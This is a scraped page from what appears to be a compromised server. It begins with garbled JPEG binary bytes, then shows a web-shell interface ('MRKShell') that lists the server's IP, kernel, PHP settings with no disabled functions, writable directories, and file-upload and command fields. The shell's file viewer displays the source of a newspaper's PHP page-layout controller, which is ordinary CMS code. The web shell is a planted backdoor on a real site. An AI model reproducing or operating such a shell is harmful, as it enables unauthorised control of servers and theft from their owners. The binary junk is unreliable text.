JFIF # -$)%7&).0444#9?92>-240 5+#+4;224;652252222225222220222522225222522;2225222222"B!1AQa"q2B#R3br5CS/!12AQ"aRq#3 ??;}q7:bd%Ո>L8/$rsrQٷf=+e: Rb0Z6pN۰7b 1S`JAT K,-֥7(bNRb9CsD/s,9?}+KA]`,EΞ@@ 3ukq14""tD@D@D@D@D@D@D@D@D@D@D@ȓ|:^Yw-)G%AI/9pwVSнm@6=g7AA5tg18gj>F'J,{C3(q<*#AzX?[$va:Q4SԽ7Uԥ&,c}nF;3mO$DN}RySm\*I"}b%7GLj;gp{{FYs(p_xOJFtStǸMU蓰s95"#H'Uq>7F5[}>v%'Y,&CqMzn}m*Xo vl˳hrӦ V)))g`7$sz^%I-1leE]y%݉>?f}( *BNNñ𜤢S[i'T1 ӥԊ>NlHď~)pKw1.UsD LI/k]Sr\r=ߴMAZNKi+P}| qBS*G*z:Imk\_|l6A7߉H\z0賈'Zt_\u>4 {\#O[ERxzLvP wOLT C0ȴ]BAʷ7uNNINS,(DDDDDDDL8MY݂N$ dMK׭i2FesmNQ=?omKv]OVl^@&pɴ[t5+E`oy.E]Ϳ}$g(7y7&X+imcT\(cHɤ|=. C =yȗXʧpv=&cX*[X_i4 GtfFՓnbMjR@ thv4LO I0zlU-_*G!cH9`nԿ \k-~rS*c[}9]qbi~+%)(h($ s;dՒG_\ё[Q,plq!pEſA RZU0*\n]a~Md_3EZ { &8e:jR*dAkyۛs\B˞0Z5%6e`3;0slSx+Xȇ"*ozkE"vܬWاQ8r @ m5$ [/KNFycgrۑ@ {""""""|xd*@s7o~7BSG|܎vøGtЍL١ѬnK/, f~^~l/Ij+!JI'^;{˚*hӤJarʮ)ڱ[P^$;%.V FLJW̔?2ԭUpJe,~b%iW Yhz̻FAl|3ln"M4kM@$2wmͣp8JY)ݬ.]3vԩİ(P*Tb/1FXTg KŮ*C9jE[69d!GZȩMu!5`H\Cp"=wSAmJjCn&/*Q[kQ~b"zΕ~)aA(2EZ0(FÑp.66_φk}T5 YdRarK ɽLSj"SnR-N-Mz~F^Igb Jq(~X fH'Ӵp5_HN(ܰ,Ȍ䶛DK%a~?FuI}"p=U+j}'p&I_ɑ-x!IٮM:w|q;9M?.6x:ODѪ̬zTL`t^?8xJ$ Q cL4d/_xy ˔ SPGNgwSrrS/`5ӧKj ,hTpI=LѦ(,Pc4*4iESO?5sMz<`&_bsTO)fkX[ xqq::h9ifVۉ\_R }JVg~Jzm`(]:O &6IOghX6+HM 7X]RkUr{HL-"< >~28b{[><@6gF5&\1̹nVŕonZM7 (SF$l\sM];owE+IֹȫzɲDߌPcMQMG)b,N ;*!uo&rHT`s^7įĴz0?P&Ҫ3]@H:hڢFҢM~p{&0s?k}+Ι9׵mw >?"fs+Odٯ̌m(R9T:UpbkW=F*ZQh urk8C8@ҧeUԀyKS '.UP,NBcpFS6n=AJl*7 4<(XY_Cda/D=()b,{yHL>[jrǹ7#M7fO`o/w]GȈEU2f\?7a)#봙݂͠SEg>VRdPfF@PV"Ꮷ_(qCJG_0?1[% NKu$7&ۭ ߡ26U$`/ 3ES:/nek |\tmSg5 س}6/qDT "(*sP4SrX)%T(6y%_ Z9<%]B}oyyY"]76*U*vjijw i3D̍IS \Jnn9ۋ>%o;~)5u56槡'z* B5#5

5#a`,>1TW{Xɘ}G4"ҕ4z5F>e6*[\;%*U0LUUr2cpnݢkɜY͌3+bG0#el۴oe,,jO*M1X/3z)W^,p>s{ İQs:ޝd|w :fIe$~+ajXjnT80'S>KIUP&kNϒT=XlȞNڞ]Yz_K[Qׂގ\gq!nB@IoG *l;_뼳\RUeэkm)qh傢5KNz٘6ba:671k{  $N vfN]S7gxg=VjG;wBx t~l/"ʭl=ԝ6n[Dٛ]@"x)# E):\8Bvkcpv4O*;coJ?4ªMCA'.\zVð'w1USݻSlTyj/ gʕ,:S')ܴ]7!A^b%P׶ٮհU3 o\}XTp,e 597n}dk6UFrVǧ3qaR:BWn>Ѻ}oxKӦK)kܑKL tCs1#?升 v{r:u)?#ZxM=ڝYـ#e}JHBGTG>GsܞG2+~R̅Hש)$[*Hfx-ugx({ I7λwvYm~ |e'X#db@hW,0H8*J5AъA`;jȊY*&sh8Jn]"M>l3z%Րsy=Um'qF sX %,Uv|0W`Gzcy*V0'3R`5ޓ Hڙ>PWbw7;)[U(:krm>/ QU+)P>Hm!r -evY>wT7ԝe)^6_SN⚓ϫ('?2Sj5,[پd|+_Pv'[]t'mΝ2l}z/dz^E|"'J qED)R2ƂSg`9Ոu5~ d!G%>M6%pdcP-P L`ϼTQnA_,24G GneRn,XnߕSzV$ReBfZuE ,Z(yi?vO!clOYA [; c I|vCom+Hꡤ\eaӴ;XS|v4%FcϷAQ[yϢ_s+Ơ&pt}=%^Sb"#gĀ'[ oAUPzr;ȔZTy4t>f種ً>T؟GRgC^-WЖukS,G LV$ܱO餰%cp)[*X_v$@DDӢ3bE-V0֍?zySyadd\ j5": Bxi?;3a]1]ZFD澙rc|8uz/ CȎ3UTqb4'ҥX 6KʖYT2fPe$6 lGzSQTP} OL1q^*rxջQ_K?'?=V MR K IS HERE

MRKShell
Server IP : 172.67.193.120  /  Your IP : 104.23.243.234
Web Server : nginx/1.14.1
System : Linux comtuc2-s-2vcpu-8gb-160gb-intel-nyc3 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : nginx ( 991)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/comunicacion/produccion/sitio/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/comunicacion/produccion/sitio/application/controllers/layout.php
<?php
class Layout extends MY_Controller
{
	
	function __construct()
	{
		parent::__construct();
	}

	public function index($seccion_id=1)
	{
		$user=$this->session->userdata('usuario_diagramador');
		if ($user['id']>0)
		{
			$this->load->model("permiso","permiso",true);
			$permiso = $this->permiso->checkIn($user['perfil_id'],53);
			if ($permiso['Modificacion'])
			{
				$this->load->model("diagramador_modelo","diagramador",true);
				$estado=$this->diagramador->checkUso($seccion_id);
				if ($estado['ocupado']==0 or ($estado['ocupado']==1 and $estado['usuario_id']==$user['id']))
				{
					if ($estado['ocupado']==0)
					{
						$datos['usuario_id'] = $user['id'];
						$datos['nombre'] = $user['nombre']." ".$user['apellido'];
						$datos['fecha'] = date('Y-m-d H:i:s');
						$datos['ocupado'] = 1;
						$this->diagramador->cambiarEstadoDiagramador($datos,$seccion_id);	
					}
		
					$this->load->model("seccion_modelo","seccion",true);
					$skin = THEME_DEFAULT;
					$seccion_info = $this->seccion->dameInfoSeccion($seccion_id);
					if($seccion_info)
					{
						$skin=$seccion_info['template'].'/';
					}
					$this->load->library('varios_library');
					
					if(!$menum=$this->session->userdata('menu_minimizado'))
					{
						$this->session->set_userdata('menu_minimizado',0);
						$menum=$this->session->userdata('menu_minimizado');
					}
					
					$variables['is_home'] = true;
					$variables['notas_columna_1000'] = false;
					$variables['carrucel_uno'] = false;
					$variables['columna_uno'] = false;
					$variables['columna_dos'] = false;
					$variables['notas_columna_2000'] = false;
					$variables['ranking'] = false;
					$variables['is_seccion'] = true;
					$variables['is_nota'] = false;
					$variables['is_img_dia'] = false;
					$variables['seccion_id'] = $seccion_id;
					$variables['usuario'] = "";
					$variables['fecha_sistema'] = $this->varios_library->fechaLarga(date('d-m-Y'));
					$variables['minimo_texto_nota'] = 9;
					$variables['maximo_texto_nota'] = 18;
					$variables['title'] = "La Gaceta";
					$variables['sumario_nota'] = "";
					$variables['keywords'] = "La Gaceta";
					$variables['hay_videos'] = false;
					$variables['strimagen_principal_d'] = "";
					$variables['epigrafe_d'] = "";
					$variables['archivo_estilo'] = "home.css";
					$variables['archivo_estilo2'] = "";
					$variables['estilo_impresion'] = '<link href="'.site_url('css/2011/imprimir.css').'" rel="stylesheet" type="text/css" media="print" />';
					$variables['title'] = "Diario La Gaceta | Noticias - Tucum&aacute;n - Argentina";
					$variables['vista'] = $skin;
					$variables['seccion_actual']=$seccion_id;
					$variables['cont_diagramado']=$this->_armar_layout($seccion_id);
					$variables['tipos_cajas']=$this->_dame_tipo_cajas();
					$variables['menum']=$menum;
					$variables['hay_videos']=true;
					$variables['array_secciones']=$this->_dame_secciones_notas();
					$variables['array_estilos']=$this->_dame_estilos();
					$variables['array_orden']=$this->_dame_orden();
					$this->load->view($skin."layout",$variables);
				}
				else
					print '<h1>El diagramador de la secci&oacute;n '.$estado['seccion'].' est&aacute; siendo usado por '.$estado['nombre'].'</h1>';
			}
			else
				redirect(site_url("layout/login/".$seccion_id),"refresh");
		}
		else
			redirect(site_url("layout/login/".$seccion_id),"refresh");
	}

	public function mockup($seccion_id=1)
	{
		$user=$this->session->userdata('usuario_diagramador');
		if ($user['id']>0)
		{
			$this->load->model("permiso","permiso",true);
			$permiso = $this->permiso->checkIn($user['perfil_id'],53);
			if ($permiso['Modificacion'])
			{
				$this->load->model("diagramador_modelo","diagramador",true);
				$estado=$this->diagramador->checkUso($seccion_id);
				if ($estado['ocupado']==0 or ($estado['ocupado']==1 and $estado['usuario_id']==$user['id']))
				{
					if ($estado['ocupado']==0)
					{
						$datos['usuario_id'] = $user['id'];
						$datos['nombre'] = $user['nombre']." ".$user['apellido'];
						$datos['fecha'] = date('Y-m-d H:i:s');
						$datos['ocupado'] = 1;
						$this->diagramador->cambiarEstadoDiagramador($datos,$seccion_id);	
					}
		
					$this->load->model("seccion_modelo","seccion",true);
					$skin = THEME_DEFAULT;
					$seccion_info = $this->seccion->dameInfoSeccion($seccion_id);
					if($seccion_info)
					{
						$skin=$seccion_info['template'].'/';
					}
					$this->load->library('varios_library');
					
					if(!$menum=$this->session->userdata('menu_minimizado'))
					{
						$this->session->set_userdata('menu_minimizado',0);
						$menum=$this->session->userdata('menu_minimizado');
					}
					
					$variables['is_home'] = true;
					$variables['notas_columna_1000'] = false;
					$variables['carrucel_uno'] = false;
					$variables['columna_uno'] = false;
					$variables['columna_dos'] = false;
					$variables['notas_columna_2000'] = false;
					$variables['ranking'] = false;
					$variables['is_seccion'] = true;
					$variables['is_nota'] = false;
					$variables['is_img_dia'] = false;
					$variables['seccion_id'] = $seccion_id;
					$variables['usuario'] = "";
					$variables['fecha_sistema'] = $this->varios_library->fechaLarga(date('d-m-Y'));
					$variables['minimo_texto_nota'] = 9;
					$variables['maximo_texto_nota'] = 18;
					$variables['title'] = "La Gaceta";
					$variables['sumario_nota'] = "";
					$variables['keywords'] = "La Gaceta";
					$variables['hay_videos'] = false;
					$variables['strimagen_principal_d'] = "";
					$variables['epigrafe_d'] = "";
					$variables['archivo_estilo'] = "home.css";
					$variables['archivo_estilo2'] = "";
					$variables['estilo_impresion'] = '<link href="'.site_url('css/2011/imprimir.css').'" rel="stylesheet" type="text/css" media="print" />';
					$variables['title'] = "Diario La Gaceta | Noticias - Tucum&aacute;n - Argentina";
					$variables['vista'] = $skin;
					$variables['seccion_actual']=$seccion_id;
					//inicio de mockup
					$config = array('key'=>'seccion_'.$seccion_id,'mode'=>'l');
					$this->load->library("mockup",$config,"mockup");
					$variables['cont_diagramado'] = $this->mockup->get_code();
					//fin de mockup
					$variables['tipos_cajas']=$this->_dame_tipo_cajas();
					$variables['menum']=$menum;
					$variables['hay_videos']=true;
					$variables['array_secciones']=$this->_dame_secciones_notas();
					$variables['array_estilos']=$this->_dame_estilos();
					$variables['array_orden']=$this->_dame_orden();
					$this->load->view($skin."layout",$variables);
				}
				else
					print '<h1>El diagramador de la secci&oacute;n '.$estado['seccion'].' est&aacute; siendo usado por '.$estado['nombre'].'</h1>';
			}
			else
				redirect(site_url("layout/login/".$seccion_id),"refresh");
		}
		else
			redirect(site_url("layout/login/".$seccion_id),"refresh");
	}
	
	public function _dame_secciones_notas()
	{
		$this->load->model("layout_modelo","layout_modelo",true);
		$posiciones = $this->layout_modelo->dameSeccionesNotas();
		return $posiciones;
	}
	
	public function _dame_estilos()
	{
		$this->load->model("layout_modelo","layout_modelo",true);
		$estilos = $this->layout_modelo->dameEstilos();
		return $estilos;
	}
	
	public function _dame_orden()
	{
		$this->load->model("layout_modelo","layout_modelo",true);
		$orden = $this->layout_modelo->dameOrden();
		return $orden;
	}
	
	public function _dame_tipo_cajas()
	{
		$this->load->model("layout_modelo","layout_modelo",true);
		$tipos = $this->layout_modelo->dameTipoCajas();
		return $tipos;
	}
	
	public function _armar_layout($seccion_id=1)
	{
		$codigo=$this->_armar_zona($seccion_id,0,1,1);
		if($codigo=="")
		{
			$this->load->model("layout_modelo","layout_modelo",true);
			$zonas = $this->layout_modelo->crearConstructor($seccion_id);
			$codigo=$this->_armar_zona($seccion_id,0,1,1);	
		}
		return $codigo;
	}
	
	public function _armar_zona($seccion_id,$padre,$nivel,$hab)
	{
			$this->load->model("layout_modelo","layout_modelo",true);
			$zonas = $this->layout_modelo->dameZonas($seccion_id,$padre);
			
			$codigo='';
			
			foreach($zonas as $zona)
			{
				$hab2=0;
				$clases="dragbox clearfix";
				if($hab==1)
				{
					$hab2=$zona['habilitado_aux'];
				}
				$clases="dragbox clearfix";
				$clases .=' nivel'.$nivel.' hab'.$hab2;
				
				if($zona['posicion_aux']==1)
				{
					if($hab2==1)
					{
						$clases .=" posicion";
					}
				}
				else
				{
					$clases .=" column";
				}
				$codigo .='<div class="'.$clases.'" id="zona-'.$zona['id'].'"';
				if($zona['width']<>"" || $zona['height']<>'')
				{
					$codigo .=' style="';
					if($zona['width']<>""){ $codigo .=' width:'.$zona['width'].';'; }
					if($zona['height']){ $codigo .=' height:'.$zona['height'].';'; }
					$codigo .='"';
				}
				$codigo .='>';
				$codigo .=$this->_armar_contenido_zona($zona);
				if($zona['posicion_aux']<>1)
				{
					$codigo .=$this->_armar_zona($seccion_id,$zona['id'],$nivel+1,$hab2);
				}
				else
				{
					$codigo .=$this->_armar_cajas($seccion_id,$zona['id'],$nivel+1,$hab2);
				}
				$codigo .='</div>';
			}
			return $codigo;
	}
	
	public function _armar_contenidos($seccion_id,$caja_id)
	{
			$this->load->model("layout_modelo","layout_modelo",true);
			$contenidos = $this->layout_modelo->dameContenidos($seccion_id,$caja_id);
			
			$codigo='';
			
			foreach($contenidos as $contenido)
			{
				$codigo .='<div id="'.$contenido['tipo'].'-';
				if($contenido['tipo_id']==3)
				{
					$codigo .=str_replace('/','',$contenido['controlador']);
				}
				else
				{
					$codigo .=$contenido['id_contenido'];
				}
				$codigo .='" class="groupItem"><a class="itemHeader clearfix">';
				switch($contenido['tipo_id'])
				{
					case 1:
							$codigo .=$this->_mostrar_nota($contenido);
							break;
					case 2:
							$codigo .=$this->_mostrar_banner($contenido);
							break;
					case 3:
							$codigo .=$this->_mostrar_controlador($contenido);
							break;
					case 4:
							$codigo .=$this->_mostrar_custom_html($contenido);
							break;
					case 5:
							$codigo .=$this->_mostrar_mam($contenido);
							break;
					case 6:
							$codigo .=$this->_mostrar_encuesta($contenido);
							break;
					case 7:
							$codigo .=$this->_mostrar_carrousel_notas($contenido);
							break;
					case 8:
							$codigo .=$this->_mostrar_carrousel_videos($contenido);
							break;
					case 9:
							$codigo .=$this->_mostrar_carrousel_imagenes($contenido);
							break;
					case 10:
							$codigo .=$this->_mostrar_carrousel_temas($contenido);
							break;
				}
				$codigo .='</a></div>';
			}
			return $codigo;
	}
	
	public function _mostrar_controlador($contenido)
	{		
		$codigo ='';
		/**/
		$codigo .='<div class="edicion-contenido clearfix">
			<table width="100%" height="100%">
				<tr>
					<td valign="center" align="center">					
						';
		$codigo .='<a href="javascript:void(0);" onclick="borrar_contenido(\''.$contenido['id'].'\',\'Controlador-'.str_replace('/','',$contenido['controlador']).'\');"><img src="'.site_url('img/2011/eliminar.png').'" border="0"></a>				
					</td>
				</tr>
			</table>
		</div>';
		/**/
		$codigo .="<p>".$contenido['tipo']." <b>".$contenido['controlador']."</b></p>";
		
		return $codigo;
	}
	
	public function _mostrar_nota($contenido,$front=0)
	{
		$codigo ='';
		/**/
		$codigo .='<div class="edicion-contenido clearfix">
			<table width="100%" height="100%">
				<tr>
					<td valign="center" align="center">					
						';
		$codigo .='<a href="javascript:void(0);" onclick="borrar_contenido(\''.$contenido['id'].'\',\'Nota-'.$contenido['id_contenido'].'\');"><img src="'.site_url('img/2011/eliminar.png').'" border="0"></a>				
					</td>
				</tr>
			</table>
		</div>';
		/**/
		$codigo .="<p>".$contenido['tipo']." <b>".$contenido['id_contenido']."</b></p>";
		
		return $codigo;
	}
	
	public function _mostrar_banner($contenido,$front=0)
	{
		$codigo ='';
		/**/
		$codigo .='<div class="edicion-contenido clearfix">
			<table width="100%" height="100%">
				<tr>
					<td valign="center" align="center">					
						';
		$codigo .='<a href="javascript:void(0);" onclick="borrar_contenido(\''.$contenido['id'].'\',\'Banner-'.$contenido['id_contenido'].'\');"><img src="'.site_url('img/2011/eliminar.png').'" border="0"></a>				
					</td>
				</tr>
			</table>
		</div>';
		/**/
		$codigo .="<p>Posicion de ".$contenido['tipo']." (<b>".$contenido['id_contenido']."</b>)</p>";
		
		return $codigo;
	}
	
	public function _mostrar_custom_html($contenido)
	{
		$codigo ='';
		/**/
		$codigo .='<div class="edicion-contenido clearfix">
			<table width="100%" height="100%">
				<tr>
					<td valign="center" align="center">					
						';
		$codigo .='<a href="javascript:void(0);" onclick="borrar_contenido(\''.$contenido['id'].'\',\'HTMLPersonalizado-'.$contenido['id_contenido'].'\');"><img src="'.site_url('img/2011/eliminar.png').'" border="0"></a>				
					</td>
				</tr>
			</table>
		</div>';
		/**/
		$codigo .="<p>Contenido html ( <b>".$contenido['id_contenido']."</b>)</p>";
		return $codigo;
	}
	
	public function _mostrar_carrousel_notas($contenido)
	{
		$codigo ='';
		/**/
		$codigo .='<div class="edicion-contenido clearfix">
			<table width="100%" height="100%">
				<tr>
					<td valign="center" align="center">					
						';
		$codigo .='<a href="javascript:void(0);" onclick="borrar_contenido(\''.$contenido['id'].'\',\'CarrouseldeNotas-'.$contenido['id_contenido'].'\');"><img src="'.site_url('img/2011/eliminar.png').'" border="0"></a>				
					</td>
				</tr>
			</table>
		</div>';
		/**/
		$codigo .="<p>".$contenido['tipo']." <b>".$contenido['id_contenido']."</b></p>";
		return $codigo;
	}
	
	public function _mostrar_carrousel_videos($contenido)
	{
		$codigo ='';
		/**/
		$codigo .='<div class="edicion-contenido clearfix">
			<table width="100%" height="100%">
				<tr>
					<td valign="center" align="center">					
						';
		$codigo .='<a href="javascript:void(0);" onclick="borrar_contenido(\''.$contenido['id'].'\',\'CarrouseldeVideos-'.$contenido['id_contenido'].'\');"><img src="'.site_url('img/2011/eliminar.png').'" border="0"></a>				
					</td>
				</tr>
			</table>
		</div>';
		/**/
		$codigo .="<p>".$contenido['tipo']." <b>".$contenido['id_contenido']."</b></p>";
		
		return $codigo;
	}
	
	public function _mostrar_carrousel_imagenes($contenido)
	{
		$codigo ='';
		/**/
		$codigo .='<div class="edicion-contenido clearfix">
			<table width="100%" height="100%">
				<tr>
					<td valign="center" align="center">					
						';
		$codigo .='<a href="javascript:void(0);" onclick="borrar_contenido(\''.$contenido['id'].'\',\'CarrouseldeImagenes-'.$contenido['id_contenido'].'\');"><img src="'.site_url('img/2011/eliminar.png').'" border="0"></a>				
					</td>
				</tr>
			</table>
		</div>';
		/**/
		$codigo .="<p>".$contenido['tipo']." <b>".$contenido['id_contenido']."</b></p>";
		
		return $codigo;
	}
	
	public function _mostrar_carrousel_temas($contenido)
	{
		$codigo ='';
		/**/
		$codigo .='<div class="edicion-contenido clearfix">
			<table width="100%" height="100%">
				<tr>
					<td valign="center" align="center">					
						';
		$codigo .='<a href="javascript:void(0);" onclick="borrar_contenido(\''.$contenido['id'].'\',\'CarrouseldeTemas-'.$contenido['id_contenido'].'\');"><img src="'.site_url('img/2011/eliminar.png').'" border="0"></a>				
					</td>
				</tr>
			</table>
		</div>';
		/**/
		$codigo .="<p>".$contenido['tipo']." <b>".$contenido['id_contenido']."</b></p>";
		
		return $codigo;
	}
	
	public function _mostrar_mam($contenido)
	{
		$codigo ='';
		/**/
		$codigo .='<div class="edicion-contenido clearfix">
			<table width="100%" height="100%">
				<tr>
					<td valign="center" align="center">					
						';
		$codigo .='<a href="javascript:void(0);" onclick="borrar_contenido(\''.$contenido['id'].'\',\'MinutoaMinuto-'.$contenido['id_contenido'].'\');"><img src="'.site_url('img/2011/eliminar.png').'" border="0"></a>				
					</td>
				</tr>
			</table>
		</div>';
		/**/
		$codigo .="<p>Minuto a Minuto (<b>".$contenido['id_contenido']."</b>)</p>";
		
		return $codigo;
	}
	
	public function _mostrar_encuesta($contenido)
	{
		$codigo ='';
		/**/
		$codigo .='<div class="edicion-contenido clearfix">
			<table width="100%" height="100%">
				<tr>
					<td valign="center" align="center">					
						';
		$codigo .='<a href="javascript:void(0);" onclick="borrar_contenido(\''.$contenido['id'].'\',\'Encuesta-'.$contenido['id_contenido'].'\');"><img src="'.site_url('img/2011/eliminar.png').'" border="0"></a>				
					</td>
				</tr>
			</table>
		</div>';
		/**/
		$codigo .="<p>Encuesta (<b>".$contenido['id_contenido']."</b>)</p>";
		
		return $codigo;
	}
	
	public function _armar_cajas($seccion_id,$padre,$nivel,$hab)
	{
			$this->load->model("layout_modelo","layout_modelo",true);
			$cajas = $this->layout_modelo->dameCajas($seccion_id,$padre);
			
			$codigo='';
			
			foreach($cajas as $caja)
			{
				$hab2=0;
				if($hab==1)
				{
					$hab2=$caja['habilitado_aux'];
				}
				$clases="dragbox clearfix ";
				$clases .=' hab'.$hab2;
				
				if($hab2==1)
				{
				 	$clases .=" caja ";
				}
				$codigo .='<div class="'.$clases.'" id="caja-'.$caja['id'].'"';
				if($caja['width']<>"" || $caja['height']<>'')
				{
					$codigo .=' style="';
					if($caja['width']<>""){ $codigo .=' width:'.$caja['width'].';'; }
					if($caja['height']){ $codigo .=' height:'.$caja['height'].';'; }
					$codigo .='"';
				}
				$codigo .='>';
				$codigo .=$this->_armar_contenido_caja($caja);
				if($hab2==1)
				{
					$codigo .='<div class="groupWrapper" id="cont-caja-'.$caja['id'].'">'.$this->_armar_contenidos($seccion_id,$caja['id'])."</div>";
				}
				$codigo .='</div>';
			}
			return $codigo;
	}
	
	public function actualizar_zona()
	{
		$seccion_id=$_POST['seccion_id'];
		foreach($_POST['array'] as $array)
		{
			$zona=explode(':',$array);
			$zona_padre=end(explode('-',$zona[0]));
			$hijos=explode(',',$zona[1]);
			$i=0;
			
			foreach($hijos as $hijo)
			{
				$zona_hijo=end(explode('-',$hijo));
				if($zona_hijo<>"" && is_numeric($zona_hijo))
				{
					$this->_indicar_padre($zona_padre,$zona_hijo,$seccion_id,$i);
				}
				$i++;
			}
		}
		
	}
	
	public function actualizar_posicion()
	{
		$seccion_id=$_POST['seccion_id'];
		foreach($_POST['array'] as $array)
		{
			$zona=explode(':',$array);
			$zona_padre=end(explode('-',$zona[0]));
			$hijos=explode(',',$zona[1]);
			$i=0;
			
			foreach($hijos as $hijo)
			{
				$zona_hijo=end(explode('-',$hijo));
				if($zona_hijo<>"" && is_numeric($zona_hijo))
				{
					$this->_indicar_posicion($zona_padre,$zona_hijo,$seccion_id,$i);
				}
				$i++;
			}
		}
		
	}
	
	public function _indicar_padre($zona_padre,$zona_hijo,$seccion_id,$orden)
	{
		$this->load->model("layout_modelo","layout_modelo",true);
		$zonas = $this->layout_modelo->indicarPadre($zona_padre,$zona_hijo,$seccion_id,$orden);	
	}
	
	public function _indicar_posicion($zona_padre,$zona_hijo,$seccion_id,$orden)
	{
		$this->load->model("layout_modelo","layout_modelo",true);
		$zonas = $this->layout_modelo->indicarPosicion($zona_padre,$zona_hijo,$seccion_id,$orden);	
	}
	
	public function alta_zona()
	{
		$seccion_id=$this->input->post('seccion_id');
		$titulo=$this->input->post('titulo');
		$id=$this->input->post('id');
		$clase=$this->input->post('clase');
		$alto=$this->input->post('alto');
		$ancho=$this->input->post('ancho');
		$posicion=$this->input->post('posicion');
		$this->load->model("layout_modelo","layout_modelo",true);
		$id_zona = $this->layout_modelo->altaZona($seccion_id,$titulo,$id,$clase,$alto,$ancho,$posicion);	
		echo $id_zona;
	}
	
	public function alta_caja()
	{
		$seccion_id=$this->input->post('seccion_id');
		$titulo=$this->input->post('titulo');
		$timagen=$this->input->post('timagen');
		$himagen=$this->input->post('himagen');
		$estilo_cont=$this->input->post('estilo_cont');
		$orden_cont=$this->input->post('orden_cont');
		$alto=$this->input->post('alto');
		$ancho=$this->input->post('ancho');
		$tipo=$this->input->post('tipo');
		$this->load->model("layout_modelo","layout_modelo",true);
		$id_caja = $this->layout_modelo->altaCaja($seccion_id,$titulo,$alto,$ancho,1,$tipo,$timagen,$himagen,$estilo_cont,$orden_cont);	
		echo $id_caja;
	}
	
	public function _armar_contenido_zona($zona)
	{
		$codigo="";
		$codigo .='<p>'.$zona['div'].'</p><span class="over"><a href="javascript:void(0);" onclick="$(\'.botonera\').hide();$(\'#zona-edit-'.$zona['id'].'\').show(1000);"><img src="'.site_url('img/2011/pencil2.png').'" border="0"></a></span>
		<div id="zona-edit-'.$zona['id'].'" class="botonera"';
		if($zona['width']<>"" || $zona['height']<>'')
		{
			$codigo .=' style="';
			if($zona['width']<>""){ $codigo .=' width:'.$zona['width'].';'; }
			$codigo .=' height:100%;';
			$codigo .='"';
		}
		$codigo .='><span class="over2"><a href="javascript:void(0);" onclick="$(\'#zona-edit-'.$zona['id'].'\').hide();"><img src="'.site_url('img/2011/fancy_closebox.png').'" border="0"></a></span>
		<ul><li>width: '.$zona['width'].'</li><li>height: '.$zona['height'].'</li>
		<li><a href="javascript:void(0);" onclick="borrar_zona(\'zona-'.$zona['id'].'\');">Borrar Zona</a></li>
		<li><a href="javascript:void(0);" onclick="editar_zona(\'zona-'.$zona['id'].'\');">Editar Zona</a></li>
		<li><a href="javascript:void(0);" onclick="habilitar_zona(\'zona-'.$zona['id'].'\');$(\'#zona-edit-'.$zona['id'].'\').hide();">Habilitar / Deshabilitar Zona</a></li>
		</ul>
		</div>';
		return $codigo;
	}
	
	public function _armar_contenido_caja($caja)
	{
		$codigo="";
		$codigo .='<p>'.$caja['titulo'].' - tipo: '.$caja['tipo'].'</p><span class="over"><a href="javascript:void(0);" onclick="$(\'.botonera\').hide();$(\'#caja-edit-'.$caja['id'].'\').show(1000);"><img src="'.site_url('img/2011/pencil2.png').'" border="0"></a></span>
		<div id="caja-edit-'.$caja['id'].'" class="botonera"';
		if($caja['width']<>"" || $caja['height']<>'')
		{
			$codigo .=' style="';
			if($caja['width']<>""){ $codigo .=' width:'.$caja['width'].';'; }
			$codigo .=' height:100%;';
			$codigo .='"';
		}
		$codigo .='><span class="over2"><a href="javascript:void(0);" onclick="$(\'#caja-edit-'.$caja['id'].'\').hide();"><img src="'.site_url('img/2011/fancy_closebox.png').'" border="0"></a></span>
		<ul><li>width: '.$caja['width'].'</li><li>height: '.$caja['height'].'</li>
		<li><a href="javascript:void(0);" onclick="borrar_caja(\'caja-'.$caja['id'].'\');">Borrar Caja</a></li>
		<li><a href="javascript:void(0);" onclick="editar_caja(\'caja-'.$caja['id'].'\');">Editar Caja</a></li>
		<li><a href="javascript:void(0);" onclick="habilitar_caja(\'zona-'.$caja['id'].'\');$(\'#caja-edit-'.$caja['id'].'\').hide();">Habilitar / Deshabilitar Caja</a></li>
		</ul>
		</div>';
		return $codigo;
	}
	
	public function borrar_zona()
	{
		$zona_id=end(explode("-",$_POST['zona']));
		$this->load->model("layout_modelo","layout_modelo",true);
		if(!$this->_tiene_hijos($zona_id))
		{
			$zonas = $this->layout_modelo->borrarZona($zona_id);
			echo $_POST['zona'];
		}
		else
		{
			echo "error";
		}	
	}

	public function borrar_caja()
	{
		$caja_id=end(explode("-",$_POST['caja']));
		$this->load->model("layout_modelo","layout_modelo",true);
		if(!$this->_tiene_contenidos($caja_id))
		{
			$cajas = $this->layout_modelo->borrarCaja($caja_id);
			echo $_POST['caja'];
		}
		else
		{
			echo "error";
		}	
	}
	
	public function borrar_contenido()
	{
		$cont_id=$_POST['cont_id'];
		$div_id=$_POST['div_id'];
		
		$this->load->model("layout_modelo","layout_modelo",true);
		if($this->layout_modelo->borrarContenido($cont_id))
		{
			echo $div_id;
		}
		else
		{
			echo "error";
		}	
	}
	
	public function _tiene_hijos($zona_id)
	{
		$this->load->model("layout_modelo","layout_modelo",true);
		$var=$this->layout_modelo->tieneHijos($zona_id);
		return $var;	
	}
	
	public function _tiene_contenidos($caja_id)
	{
		$this->load->model("layout_modelo","layout_modelo",true);
		$var=$this->layout_modelo->tieneContenidos($caja_id);
		return $var;	
	}
	
	public function habilitar_zona()
	{
		$zona_id=end(explode("-",$_POST['zona']));
		$this->load->model("layout_modelo","layout_modelo",true);
		$hab=$this->layout_modelo->estaHabilitado($zona_id);
		$hab=($hab==0)?1:0;
		$this->layout_modelo->habilitar($zona_id,$hab);
		echo $hab;
	}

	public function habilitar_caja()
	{
		$caja_id=end(explode("-",$_POST['caja']));
		$this->load->model("layout_modelo","layout_modelo",true);
		$hab=$this->layout_modelo->estaHabilitadoCaja($caja_id);
		$hab=($hab==0)?1:0;
		$this->layout_modelo->habilitarCaja($caja_id,$hab);
		echo $hab;
	}
	
	public function consultar_zona()
	{
		$zona_id=end(explode("-",$_POST['zona']));
		$this->load->model("layout_modelo","layout_modelo",true);
		$array=$this->layout_modelo->consultarZona($zona_id);
		echo json_encode($array);
	}
	
	public function consultar_caja()
	{
		$caja_id=end(explode("-",$_POST['caja']));
		$this->load->model("layout_modelo","layout_modelo",true);
		$array=$this->layout_modelo->consultarCaja($caja_id);
		echo json_encode($array);
	}
	
